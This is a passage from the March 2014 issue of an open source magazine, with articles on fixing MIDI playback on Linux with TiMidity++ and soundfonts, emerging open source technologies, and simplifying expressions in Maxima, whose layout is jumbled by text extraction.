Why Doesn't MIDI Work On My PC? MIDI stands for Musical Instrument Digital Interface, a standard adopted by the electronic music industry for controlling devices such as synthesisers and sound cards that emit music. This article helps readers to solve the problem of MIDI files not playing on a PC.

IDI is a wonderful standard that defines the protocols and interfaces for electronic musical instruments and computers. Nowadays, it is possible to create even large-scale orchestral pieces using just a personal computer. This article covers only standard MIDI files (.smf or .midi or .mid), which contain details like notations for different instruments and act like an audio file when played using a MIDI player. You are probably familiar with MIDI files, since many ring tones and Web music clips come in that format. What makes MIDI files distinguishable is that their sound is not pre-recorded. The file contains just some notations for different instruments used in that particular piece of music. It is played with the help of a soundfont, which contains pre-recorded sounds for those instruments. This makes MIDI files extremely small. Another advantage of MIDI files is that you can study a piece of music and modify it. There are many programs like Musescore, which can convert a given MIDI file to a score sheet and vice versa. GNU/Linux users do run into difficulties with MIDI files and programs. But many users live with them, believing that the problems can never be solved until a new version is released. Actually, they can be solved in a few very simple 84 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

steps. You should try them so you can experience a lot of wonderful MIDI applications in GNU/Linux.

Programs and ports

MIDI is a built-in facility with almost all GNU/Linux distros. But do ensure that you have the TiMidity++ MIDI Sequencer installed in your system (we are not considering other sequencers now). So let us solve some MIDI problems.

Playback

Most users find it difficult to open a MIDI files. Some players don't support them. For example, VLC needs an additional FluidSynth plugin to read them. You can solve this problem by installing appropriate plugins using the Synaptic Package Manager, the apt-get install command or any other package manager. Some players won't play MIDI files properly. For example, Totem plays MIDI files in a discrete manner. TiMidity++ is a better option. Always right click on a MIDI file and select TiMidity++ from the Open With sub-menu options. The command line program timidity also offers many features. See the command below, which plays a MIDI file with 200 per cent volume and 150 per cent tempo.

Let's Try -----CMD----timidity Fanfare.mid --volume 200 -T 150 ----/CMD-----

Ports and connections

When programs like virtual pianos and music creators do not produce sound, you have to change their connection by choosing the appropriate MIDI port. It has been observed that the Midi Through port doesn't play sound while Timidity ports work well. As an example, take the VMPK virtual piano. When it doesn't play sounds, you have to change its connections at Edit→Connections. You can use connection programs like the Jack Audio Connection Kit to handle advanced audio connections including that of MIDI. They offer many complex facilities. Sometimes the program shows that ‘…an instrument is not found.’ This is not a problem of the program, but of the soundfont.

Soundfonts

We are familiar with text fonts. The text of a document is always the same, but the appearance depends on the fonts used while rendering (displaying). You might have noticed that the text of some websites appears differently in different browsers/devices. This is because they render those websites differently even though the content remains the same. As I mentioned earlier, MIDI files contain notations only. They might sound different in different platforms since the soundfonts used for rendering may be different. Another problem with text fonts is that some regional language/special characters in documents cannot be displayed since the current font doesn't contain those characters. The same issue exists for soundfonts also. Some instruments are not available in some soundfonts, so a MIDI file containing parts for those instruments can't be played properly. Just as we solve the text font problem by using fonts with maximum languages/characters, we can use heavy soundfonts like Fluid, or combinations of different soundfonts to solve this MIDI problem. By default, FreePats comes with TiMidity++ as the soundfont. Unfortunately, it is currently incomplete. So we have to install some other soundfont to enjoy MIDI files in clarity. Let us learn more about the installation and configuration.

Installation

Soundfonts come with the extension .sf2. They can be stored in any directory and used with suitable programs. But in order to use them with TiMidity++ (i.e., usual MIDI playback), we should have their configuration files in /etc/ timidity. Fortunately, we have got ready-to-install packages of some famous soundfonts. You may use a package manager to install them. The packages are fluid-soundfont-gm, fluidsoundfont-gs and musescore-soundfont-gm. The first two are very large, while the second one is lightweight.

Open Gurus

Configuration

Even after installing a new soundfont, TiMidity++ uses the older one. We have to edit its configuration file to enable the new soundfont. Let us look at the Fluid GM soundfont as an example. First ensure that its configuration file is in /etc/timidity. For this, try the following command at the terminal: ls /etc/timidity fluidr3_gm.cfg freepats.cfg timidity_a.cfg fluidr3_gs.cfg timgm6mb.cfg timidity.cfg

The output shows we have fluid3_gm.cfg, which is the configuration file of the Fluid GM soundfont. Now we have to add this into timidity.cfg, which is the configuration file of TiMidity++. Before doing that, keep a back-up copy of it in your home folder: sudo cp /etc/timidity/timidity.cfg ~/timidity.cfg

Try the command given below to open the file: sudo gedit /etc/timidity/timidity.cfg

Note: You can use other text editors like gvim instead of gedit, depending on your distro. We have to add this line at the end of the file: source /etc/timidity/fluidr3_gm.cfg

But the file probably contains that line already, in a commented state. All you have to do is uncomment it (by removing the hash (#) in front of it). Now you may comment the line of the current soundfont by adding a # before it. The configuration is complete and TiMidity++ starts to use the new soundfont. Note: You can use multiple soundfonts at a time by keeping their configuration lines uncommented. When both soundfonts contain the same instrument, the last soundfont is used. For advanced mixing of soundfonts, you have to edit their configuration files (e.g., /etc/timidity/fluidr3_gm.cfg) or create a new soundfont using programs like Swami.

By: Nandakumar Edamana The author is a free software user, developer, hacker and activist, now in higher secondary school. He is the creator of packages like Chalanam (animation software), Sammaty (to conduct computer-aided election, now used in more than a 1000 schools in Kerala),Gopanam (file encryption), etc. These packages are, of course, free software and available for download from launchpad. net for free. The author can be contacted at nandakumar96@ gmail.com, nandakumar@nandakumar.co.in

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 85

For U & Me

Overview

Emerging Technologies: Enhanced by Open Source Here are five more emerging technologies that open source developers need to closely watch, and contribute to, in 2014.

merging technologies need innovation, and what better route to innovation nirvana than the open way! Open source technologies enable people from across the globe to innovate, contribute and enhance emerging technologies, eventually making them mainstream. In the previous issue, we featured five such emerging technology trends to watch, and contribute to, in 2014. Here are five more.

Putting Android to Bigger Use

Trend: Android, the Linux-based operating system for touch devices, smartphones and tablets, needs no introduction! It has earned a lot of fans because of the extremely large collection of free and open source apps available for Android users. You also have the ability to use the Android platform for various location-based sensor networks, home automation and social 86 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

innovations. It is used for fitness apps, navigation and other location apps, social groups, and more. Android is also useful beyond the mobile space, in embedded applications such as smart TVs, cameras, wearable computing devices, gaming consoles and car infotainment solutions. The success of Texas Instruments’ Beaglebone and Google’s projects such as Android@Home, Google Glass and Google TV showcases this trend. The most interesting development, however, is Android’s growing acceptance in the enterprise space. With beefed up security features such as device encryption, the platform is growing as an effective tool for connecting employees with enterprise solutions, while on the go. Trend+: I know somebody who uses an Android-based app to stealthily switch off the set-top box when his son has been glued to the TV for too long. But, that’s only the tip of

Overview For U & Me the iceberg. Here is what happened when a professor at St Joseph’s, a small Indiana college, decided to work towards the goal of ‘Android for everyone’! Using low-cost, refurbished or used Android phones, a small team of computer science students at the college started an outreach program for the local community. The team used the Android smartphones as the primary target platform for introductory programming classes, started programmes to collect historical images with embedded geo-location and sensor-provided data, offered real-time field access to USDA soil surveys and classification data, and enabled the recording of audio and video for a variety of media-distribution purposes. The team loaned the phones to economically-challenged people through a local café, whose owner provided free Wi-Fi to clients. So, the phones served multiple purposes for the local population—as sensors, media and data collection tools, and as a gateway to the WWW and its treasures. The success of Beaglebone is another notable example of the versatility of Android. BeagleBone is an embedded computer platform based on an ARM Cortex-A8 processor that runs Android 4.0 and Ubuntu software. It has been used for a range of interesting projects such as underwater robots, 3D printers, a dirty dish detector and a real-life Iron Man suit! The Android platform is also popular for in-car infotainment systems. Parrot Asteroid was an early example. More recently, Clarion launched AX1 and Mirage, which run Android 2.3.7 and 2.2 respectively and feature GPSbased navigation, a 16.5 cm (6.5-inch) screen and options for wireless data access. So we could say that the most significant recent milestone in Android’s journey is its acceptance in the enterprise application space. A survey conducted by cross-platform tool company Appcelerator in Q3 of 2013 indicated that the enterprise arena is slipping away from Microsoft, while acceptance for Android is growing and iOS is the number one priority for IT decision makers in enterprises. In a related press report, Nolan Wright, cofounder and CTO at Appcelerator, mentioned that one of the reasons for the increasing interest in Android could be Android’s strong overall market share, and with the current bring-your-own-device (BYOD) culture, enterprises have to build apps for multiple platforms.

Sharing the BIG stuff

Trend: If cloud computing is one way of sharing, highperformance computing (HPC) resource sharing is another. A lot of HPC infrastructure is Linux-based, and predominantly open in nature, which enables it to be shared by more than one research team. While some are owned by the government and shared by the sub-agencies, some are owned by universities and shared by the labs, and yet others are rented out by service providers. In any case, it would be a sin to spend so much on a HPC setup and not share it. So, ‘open’ is the way to go!

Trend+: Universities such as Yale have several HPC clusters available for faculty research. These clusters are a shared Linux environment with most of the popular applications, compilers and programs to support intensive research. So do research organisations like the European Organisation for Nuclear Research (CERN). Last year’s hyped news about CERN researchers discovering a subatomic particle travelling faster than light was also the result of resource sharing to crunch Big Data at CERN. Its HPC setup enabled thousands of scientists from over 100 countries to come together to collaborate on pathbreaking research—something that would have been impossible without an open platform. They used Apache Hadoop running on an open cloud and grid infrastructure, to analyse over 20 million GB of data produced each year by a mammoth structure called the CERN Large Hadron Collider, the world’s largest and most powerful particle accelerator. Such open platforms can prove beneficial for other fields of research too, especially drug discovery and medical research, which is often carried out in secret, by industry leaders!

Wear your tech

Trend: From being carried in bags, now technology has evolved to a state where it is being worn. And we are not just talking about medical aids like pacemakers, but about trendy watches, pendants, wristbands and other such accessories, which have embedded systems performing significant tasks. Wearable devices help in a variety of ways—to monitor a person’s health; evaluate their exercise routine, diet or sleep patterns; track their location, deliver new gaming or travel experiences through augmented reality, for communication, or just to run simple applications. Trend+: There is a lot of wearable technology being used by the army. In fact, soldiers’ jackets are now smarter than many of our phones! The other key application areas are fitness and healthcare. Some of the popular products in this category are Nike Fuelband, Fitbit and MyBasis. Slowly, wearable devices are being used in industries as well. For example, Google glass-based devices for miners and architects, or touch-sensitive gloves for surgeons. Other wearable devices help caretakers keep an eye on children or the elderly, by tracking their movements. Generic or otherwise, wearable devices are a challenge to design. Designers have to always remember that the device has to be worn by a human, comfortably. It should neither be too bulky nor too hot. Similarly, it should be safe. These basic requirements greatly influence the design goals of wearable tech devices. Wearable technology requires very low-energy, battery-powered components to minimise heat dissipation and provide extended battery life. Size is another factor that needs to be taken into consideration. For instance, the www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 87

For U & Me

Overview

chip required to enable augmented reality in sunglasses will be a lot smaller than that of, for example, a mobile phone. Miniaturisation is becoming increasingly feasible, thanks to micro-electromechanical systems (MEMS) and the development of cost-efficient batch fabrication techniques for their manufacture. MEMS are making it possible to integrate components such as microprocessors, sensors and radio communication circuits into a single integrated circuit (IC) or system-on-chip (SoC). Open source platforms will play a key role in developing and deploying wearable technology, just as in the IoT, for much the same reasons. Only if the data from the device is accessible and users are able to harness it using multiple applications, will it be attractive in the long run. If the data from a device is always to be used only with a proprietary app, it will not be so much fun after a while!

3D printing—everything from spare parts to model planes

Trend: 3D printing has given wings to the dreams of many a do-it-yourself enthusiast! Interestingly, the cost of 3D printers has dropped significantly in the past few years. Previously, professional 3D printers used to cost hundreds of thousands of dollars, putting them out of the reach of individuals, hobby groups and colleges. However, now it is possible to own 3D printers like the MakerBot Replicator 2 for about $2,200. The viability of 3D printing has emerged in tandem with the advancement and democratisation of 3D design or CAD software, which allows users to easily create a digital 3D model of an object and optimise the design before anything has been built. The combination of these two technologies—3D design software and 3D printers— means that it is easier for individuals to convert an idea for a product into a physical object. Trend+: There is a lot of open source activity in the 3D printing space. From design software and product designs, to the design of printers themselves, a lot of material is open sourced. RepRap, for example, is an open source self-replicating 3D printer, using which you can 3D print the parts and make more printers! According to the team, “RepRap was the first of the lowcost 3D printers, and the RepRap Project started the open source 3D printer revolution. It has become the most widely-used 3D printer among the global members of the Maker Community.” A more recent innovation that has been open sourced, following the path of RepRap, is a 3D metal printer unveiled by Michigan Technical University in December 2013. Unlike current 3D printers that use plastic and similar materials for printing, this sub-$1500 machine can print sturdy metal parts. The parts used in the device include a small commercial MIG welder and an open source microcontroller. According to news reports, the 88 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

printer is still a work-in-progress, but the team believes that it will be perfected very soon, once the vibrant open source community gains momentum. Everything required to build the printer, including detailed plans, software and firmware, is freely available. Likewise, there is no dearth of 3D design tools such as FreeCAD, Wings3D, Seamless3D, and such. You can also find countless 3D designs to print on the Web, ranging from 3D greeting cards and toys to model airplanes. As a starting point, you could look up Makerbot or Thingiverse.

The more the merrier, in gaming too

Trend: Gaming is serious business these days. There is a lot of activity in this space, and people are spending big money on it! Understandably, open source principles and technology have pervaded gaming too. From open source games, to game design tools and console designs, there are loads of open source resources for game makers and players too. Open source games, generally made using open tools and open source software, are available not just for the Linux platform but for Windows, Mac, Arduino and other platforms too. While some games are just-for-fun, others are made with serious goals, such as sending across a serious social message or designing a serious strategy game for a well-defined target audience. Trend+: Generally, making a game calls for selecting a game engine, a graphics engine, an AI framework, graphics tools, game design tools, sound tools, version control, project tracking, development IDE, and packaging and build tools. All these are available in the open source repertoire. In a wonderful article, Casper Bodewitz explains how he chose open source tools for each of these categories when building the strategy game Tenshu General (http://www. gamasutra.com/blogs/CasperBodewitz/20130913/198043/ Open_source_tooling_try_it_before_you_buy_it.php). There are also full-fledged game development tool chains and cloud-based platforms. One interesting tool for 3D game development is Panda3D, developed by Disney and maintained by Carnegie Mellon Entertainment Technology Centre. The Panda3D game engine is a framework for 3D rendering and game development for Python and C++ programs. It is open source, and can be used for even commercial ventures due to the liberal terms of its licence. Ogre is another notable open source 3D graphics rendering engine for making fantastic games. Other good open source game engines to test would be ObjectOriented Graphics Rendering, Quake 3, Crystal Space and Irrlicht Engine.

By: Janani Gopalakrishnan Vikram The author is a technically-qualified freelance writer, editor and hands-on mom based in Chennai.

Let’s Try For U & Me

Use Maxima for the Simplification of Expressions As covered in an earlier article, Maxima is a computer algebra system based on Macsyma and written in Lisp. In this article, the 15th in the series on using open source in mathematics, the author demonstrates the use of Maxima in the simplification of expressions.

xpression simplification can be done in a variety of ways. Let’s start with the simple methods and then move on to more powerful ones.

rat: replaced 4.2 by 21/5 = 4.2 (%o3) rat: replaced 3.2 by 16/5 = 3.2

Real number simplification

(%o4)

An example of a basic simplification is to convert a given number into a rational number, using ratsimp(), as follows:

2^4/5

(%i5) string(ratsimp(4.3333)); rat: replaced 4.3333 by 43333/10000 = 4.3333 (%o5)

$ maxima -q

43333/10000

(%i6) string(ratsimp(4.3333333));

(%i1) ratsimp(9); (%o1)

21/5

(%i4) string(factor(3.2));

rat: replaced 4.3333333 by 13/3 = 4.333333333333333 9

(%o6)

13/3

(%i7) quit();

(%i2) ratsimp(10.0); rat: replaced 10.0 by 10/1 = 10.0 (%o2)

(%i3) string(ratsimp(4.2)); /* string to print on a line */

Another example would be to check whether a number is an integer using askinteger(). And if it is, find out if it is www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 89

For U & Me

Let’s Try

an even or odd number, again using askinteger(). Moreover, asksign() checks for the sign. In case you’re trying these with unknown variables, Maxima will ask the user the necessary questions to deduce the answer, and store it for future analysis. For example, askinteger(x) would ask you if ‘x’ is an integer. And, if you say ‘yes’, it can deduce much more by itself. Given below are some examples: $ maxima -q (%i1) askinteger(1); (%o1)

Maxima simplification uses the concept of the properties of symbols. As an example, note the properties of ‘x’ in the above demonstration at %i8 and %i16.

Complex number simplification

Complex numbers have two common useful forms, namely, the exponential and the circular (with sine and cosine) forms. demoivre() converts the exponential to circular form and exponentialize() does the reverse. Using expand() along with them can simplify complicated expressions. Here are a few examples:

yes

(%i2) askinteger(1.0);

$ maxima -q

rat: replaced 1.0 by 1/1 = 1.0 (%o2)

(%i1) string(demoivre(exp(%i*x^2))); /* %i is sqrt(-1) */ yes

(%i3) askinteger(1.2);

(%o2) no

(%i4) askinteger(-9); (%o4)

(%i5) askinteger(2/3 + 3/4 + 1/6 + 5/12); yes

(%i6) askinteger(-9, even); (%o6)

(%i7) askinteger(0, even); (%o7)

yes

(%i8) properties(x); (%o8)

[]

(%i9) askinteger(x); Is x an integer? yes; /* This is our response */ (%o9)

a*(%e^(%i*t)+%e^-(%i*t))/2

(%i3) string(expand(exponentialize(a*(cos(t)+%i*sin(t))))); /* %i is sqrt(-1) */

yes

(%o5)

%i*sin(x^2)+cos(x^2)

(%i2) string(exponentialize(a*(cos(t)))); /* %i is sqrt(-1) */

rat: replaced 1.2 by 6/5 = 1.2 (%o3)

(%o1)

yes

(%o3)

a*%e^(%i*t)

(%i4) quit();

Expansions and reductions

As already seen in the previous article, expand() expands an expression completely, by default. However, it can be controlled by specifying the maximum power to which to expand for both the numerator and the denominator, respectively. Using factor() can compact the expanded expressions. Often, you might want to expand it with respect to only some variable(s). Say, (x + a + b)^2 should be expanded with respect to ‘x’. expandwrt() is meant exactly for that purpose. One example for each of these scenarios is shown below:

(%i10) askinteger(x + 9); (%o10)

yes

(%i11) askinteger(2 * x, even); (%o11)

(%i1) string(expand(((x+1)^2-x^2)/(x+1)^2, 2, 0)); yes

(%i12) askinteger(2 * x + 1, even); (%o12)

$ maxima -q (%o1)

2*x/(x+1)^2+1/(x+1)^2

(%i2) string(factor(((x+1)^2-x^2)/(x+1)^2)); no

(%o2)

(2*x+1)/(x+1)^2

(%i13) askinteger(x, even);

(%i3) string(expandwrt((x+a+b)^2,x));

Is x an even number?

(%o3)

n; /* This is our response */

(%i4) quit();

(%o13)

x^2+2*(b+a)*x+(b+a)^2

(%i14) askinteger(x, odd); (%o14)

yes

(%i15) askinteger(x^3 - (x + 1)^2, even); (%o15)

Expressions containing logs, exponentials and radicals (powers) can be simplified using radcan(). Rule-based simplifications can be achieved using the sequential comparative simplification function scsim(). Both of these call for a few examples:

(%i16) properties(x); (%o16)

[database info, kind(x, integer), kind(x, odd)]

(%i17) asksign((-1)^x); (%o17)

(%i1) string(radcan(exp(5 * log(x) + log(3 * exp(log(y) / 4))))); neg

(%i18) asksign((-1)^(x+1)); (%o18)

(%o1)

3*x^5*y^(1/4)

(%i2) radcan((log(2*x+2*x^2)-log(x))/(log(1+1/x)+log(2*x))); pos

(%i19) asksign((-1)^x+1); (%o19)

$ maxima -q

(%o2) (%i3) expr: a^2 + b^2 + c^2$

zero

(%i20) quit();

90 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

(%i4) eq1: a^2 + 2*a*b + b^2 = 4$ (%i5) eq2: a * b = 6$

Let’s Try For U & Me (%i6) string(scsimp(expr, eq1, eq2)); (%o6)

c^2-8

can be beautifully achieved by using sum() and the option simpsum. Check out the code execution below:

(%i7) quit(); $ maxima -q

Unlike Octave, Maxima, by default, doesn’t evaluate its expressions; it only simplifies them. This means that expressions with integers like cos(1), exp(2), sqrt(3), etc, may remain as they are in the most simplified form, without being evaluated to their respective float numerical values. In such cases, we may force evaluation by passing the option numer. Similar evaluation can be achieved for predicates, using pred:

(%i1) sum(a * i, i, 1, 5);

$ maxima -q

(%o3)

(%o1)

15 a

(%i2) sum(a, i, 1, 5); (%o2)

5 a

(%i3) sum(a * i, i, 1, n); n ==== \

(%i1) cos(1); (%o1)

cos(1)

==== i = 1

.5403023058681398

(%i3) sqrt(7); (%o3) (%i4) sqrt(7), numer; 2.645751311064591

a*(n^2+n)/2

(%o6)

(2*n^3+3*n^2+n)/6

(%i7) string(factor(sum(i^2 - i, i, 1, n) + sum(j, j, 1, n))); 3 > 9

(%i5) 1 + 2 > 9, pred; (%o5)

(%o5)

(%i6) string(sum(i^2 - i, i, 1, n) + sum(j, j, 1, n));

(%i4) 1 + 2 > 9; (%o4)

(%i4) simpsum: true$ /* Enable simplification of summations */ (%i5) string(sum(a * i, i, 1, n)); /*string to print on a line*/

sqrt(7)

(%o4)

(%i2) cos(1), numer; (%o2)

a >

(%o7)

n*(n+1)*(2*n+1)/6

(%i8) quit(); false

(%i6) string(%e^%pi < %pi^%e); /* string to print it on one line */ (%o6)

%e^%pi < %pi^%e

(%i7) %e^%pi < %pi^%e, pred; (%o7)

false

(%i8) quit();

Summation simplifications

Symbolical representation and manipulations of summations

By: Anil Kumar Pugalia The author is a hobbyist in open source hardware and software, with a passion for mathematics. A gold medallist from NIT Warangal and IISc Bangalore, mathematics and knowledge sharing are two of his many passions. Apart from that, he shares his experiments with Linux and embedded systems through his weekend workshops. Learn more about him and his experiments at http://sysplay.in. He can be reached at email@sarika-pugs.com.

en_Source_...rch 2014

Articles inside

Boost Your Employability with Hadoop Skills

CIO Talk: “We are probably a

Use Maxima for the

Create an Android-friendly Hotspot in Linux

Emerging Technologies Enhanced by Open Source

Setting up Dovecot, the IMAP Server

Caching Django websites with Memcached

Set Up a Reverse Proxy in Apache

Rainmail Intranet Server A Complete IT Set-up for the Enterprise

Monitoring Log Files with Nagios Plugins

Choose the Best Network Monitoring Tool for Your Needs

Editorial Calendar

Monitor Your Network

Three Tools to Help You Protect Your Network

Case Study: Microfinance

Joy of Programming: Under standing Concurrency Bugs

Exploring Software Building a Web Application Using Mochiweb

Demystifying HTML 5 Attacks

CodeSport

Developing Web Apps with Bootstrap

You Said It

Turbocharged Tracing with LTTng

FOSSBytes